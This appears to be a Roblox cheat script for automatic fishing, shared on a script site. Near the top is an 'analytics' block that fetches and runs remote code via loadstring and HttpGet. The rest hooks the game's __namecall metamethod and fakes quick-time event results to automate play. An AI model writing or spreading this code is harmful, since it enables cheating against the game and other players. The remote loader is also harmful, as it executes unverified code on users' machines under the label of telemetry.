-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] --[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6aa3cedab7254cb28fac3f98"))() end) end) --[[rscripts:analytics:end]] repeat task.wait() until game:IsLoaded() local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local ReplicatedStorage = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local Modules = ReplicatedStorage.Modules local Events = ReplicatedStorage.Events local HeldClient = require(Modules.HeldClient) local QuickTimeEvents = require(Modules.QuickTimeEvents) local RandomGenerator = Random.new() local AutoFishEnabled = true local FishingCastRunning = false local NextFishTime = 0 Events.Fishing.OnClientEvent:Connect(function(Action, CastId) if AutoFishEnabled and FishingCastRunning and Action == "CastAck" then Events.Fishing:FireServer("Reel", CastId) end end) Events.QuickTimeEvent.OnClientInvoke = function(QTE, Options) if AutoFishEnabled and QTE.event == "Reel Fish" and QTE.fishing then local _, HoldUntil = QuickTimeEvents.MinimumServerTime["Reel Fish"](QTE) if HoldUntil == math.huge then return {Result = "Failed", Score = 0} end task.wait(HoldUntil + RandomGenerator:NextNumber(0.04, 0.08)) return {Result = "Completed", Score = 1} end return Events.QuickTimeEventBindable:Invoke(QTE, Options) end LocalPlayer:GetAttributeChangedSignal("Fishing"):Connect(function() if not LocalPlayer:GetAttribute("Fishing") then FishingCastRunning = false end end) local OriginalNamecall OriginalNamecall = hookmetamethod(game, "__namecall", function(Self, ...) local Arguments = {...} if Self == Events.QuickTimeEventBindable and getnamecallmethod() == "Invoke" and AutoFishEnabled and FishingCastRunning then local QTE = Arguments[1] if QTE.event == "Timed Release" then task.wait(QTE.speed + RandomGenerator:NextNumber(0.02, 0.06)) return {Result = "Completed", Score = 1} end if QTE.event == "Gridshot" then local Goal = math.max(math.floor(QTE.goal or 1), 1) local Delay = math.max(QTE.minDuration or 0, 0.1) / Goal for _ = 1, Goal do task.wait(Delay) if QTE.OnButtonPressed then QTE.OnButtonPressed() end end return {Result = "Completed", Score = Goal} end end return OriginalNamecall(Self, ...) end) RunService.Heartbeat:Connect(function() if not AutoFishEnabled or FishingCastRunning or LocalPlayer:GetAttribute("Fishing") or os.clock() < NextFishTime then return end local Character = LocalPlayer.Character local RootPart = Character and Character.PrimaryPart local _, HeldItem = HeldClient.GetHeld() NextFishTime = os.clock() + 1 if not RootPart or not HeldItem or not HeldItem:FindFirstChild("Hookss", true) then return end local Direction = Vector3.new(RootPart.CFrame.LookVector.X, 0, RootPart.CFrame.LookVector.Z) if Direction.Magnitude <= 0.001 then return end FishingCastRunning = true local Params = RaycastParams.new() Params.FilterType = Enum.RaycastFilterType.Exclude Params.FilterDescendantsInstances = {Character} Params.IgnoreWater = true local Hit = workspace:Raycast(RootPart.Position, Direction.Unit * 25, Params) Events.ToolRemote:FireServer(nil, "Activated") Events.Fishing:FireServer("CastRod", Hit and Hit.Position or RootPart.Position + Direction.Unit * 25) task.delay(5, function() if not LocalPlayer:GetAttribute("Fishing") then FishingCastRunning = false end end) end)